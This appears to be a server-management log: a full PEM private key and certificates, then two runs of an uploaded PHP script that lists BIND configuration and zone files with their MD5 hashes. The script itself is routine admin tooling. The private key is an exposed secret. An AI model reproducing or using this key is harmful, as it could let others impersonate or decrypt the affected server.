uO6xtZ3TlgeGgvOtZziGM/hhaI8X4uepzrXA1lpRsz4519BhUaSXDPr4MLI4ur65
qG6LMmjtr+6b1GXhWU0VGqlHR9l+t4Fs8yHaknREMBO0IYbtn9RVeVJ1XlU90Q4z
Mv/F47ZnxmBjLo6wa9aorFfViwD4YXDlzYto0Hg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCv+1vZXU4/0EqD
lKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flMEBX+BKTAay1csxvM
xo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVocVPkuIRya2BrLPSP
uwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouqhv+Xd8Um5KgBL2DV
rGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/yX6UR9PU9LmJBu9I
TJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOskad40xuRduCbXFlbo
PTedZg71AgMBAAECggEAUH9wAju2AWarzwh7wvO9E27VB3rfbmNmV4LYVHUglOt+
T2dqPVf2ypYdBRx5/psVFD7XhdUAyPh87OyeNO5eN8Ls5yvU1PhvdOHNOuL3Znc9
GfZaI1HkwISg2UkgLig4sdTdcOFBF4VW0TA+8MqgaXBLr10JclQJ4jhXskM2HAb/
A+m2f+ZFgoZYd/o9TbTuGjGI4/3vIEawQOsTLUmnfryubbn1cAccMJpgMHsj5HCp
3+ZCtQS3lTAv2ssbME19oEfFe5aPzp/u+F/TmCCt6JuIqCMa7iHsN9rkVlX0Ook5
uQuGJoZ9ziLpbI5Eyt+1NFaTkDPNHVPdmed5KmZogQKBgQDmQKGzzH0GUKplZeaH
gjaF2dGmoaB5iWVUEEBzVRiStw5uMlL9lgNE68Vise0MSOHbYn1NkeRoCBC00RQF
0BMQoAbKnh1d0mRYuU3hLF+A36pKf9slfJDUd33BZAqpEouzCaneDwiH7MPIRyf7
VkvB+m3fafXyg9K+I61uMzNr0QKBgQDDqSOXAuj9ExBcXXlMsXmwc/SOACCCt8Ce
HlMaO0ijM9EUlduGM2QCeVC1HjJzkKf5Qv8D8plPMMlhaxMXBK0AnXZ2M7cijmpz
yF/L0HbmkkXu08XBAvOpW9YAtL6POIlEhSSK55O01ieNMLEJnn8ekT+fmPz2cA0b
L73SuV0N5QKBgELfXpdzupQM9ZBBijStEtzJKGS26H6j8vP5TF6yxlJGLEDBCO1x
lj18JHXHq0s4F7C56B6RUr8MKJ37Y09U4VSgxZgvV+QZ6N8D4qSVWJ97VmAQxjsa
9I1grvtt7NKx+jTjh5xgzV982lfeorQSmioaa7LJeY8Xzis+/W3WHQchAoGAWwfn
WgvtkEj9VKvckpUDs9fPEP34IjkRsb8UFOE+I0gpX3V1ZBOm1QvSQ+HfwSqtK+hC
s3h8YX6mQt/JSu1O/DlGcyoOa1JtLp8sCqxblVy6kqoOmIUiDkp+32c4PXQlUS7M
2J9zdjAoyKS9yWbnZ7ZWLo/EKXfqcRqeK1s4cw0CgYAUQjZU1WmKR7pOzQZqF8wh
yaImT+g4yvH0t1biIk3J6ECI5AE9tiIexLzMy14/LudpGweeV04EctckR7WZv69u
XPY7gx9GZWrKp4awiB/6KYmtspMFa0e4vFKGZkt63mA9vtC/8pjfCF26WmyevkTA
176fLF2F4Xa5cSou246Pxg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-08-26 15:50:00: Establishing a connection
2025-08-26 15:50:00:
PUT: /tmp/pkp183200
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:50:00:
runuser -l bind -s /bin/bash -c '/tmp/pkp183200; rm /tmp/pkp183200'
2025-08-26 15:50:00:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-28 20:17:32: Establishing a connection
2025-08-29 19:31:34: Establishing a connection
2025-08-29 19:31:34:
PUT: /tmp/pkp384801
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-29 19:31:35:
runuser -l bind -s /bin/bash -c '/tmp/pkp384801; rm /tmp/pkp384801'
2025-08-29 19:31:35:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
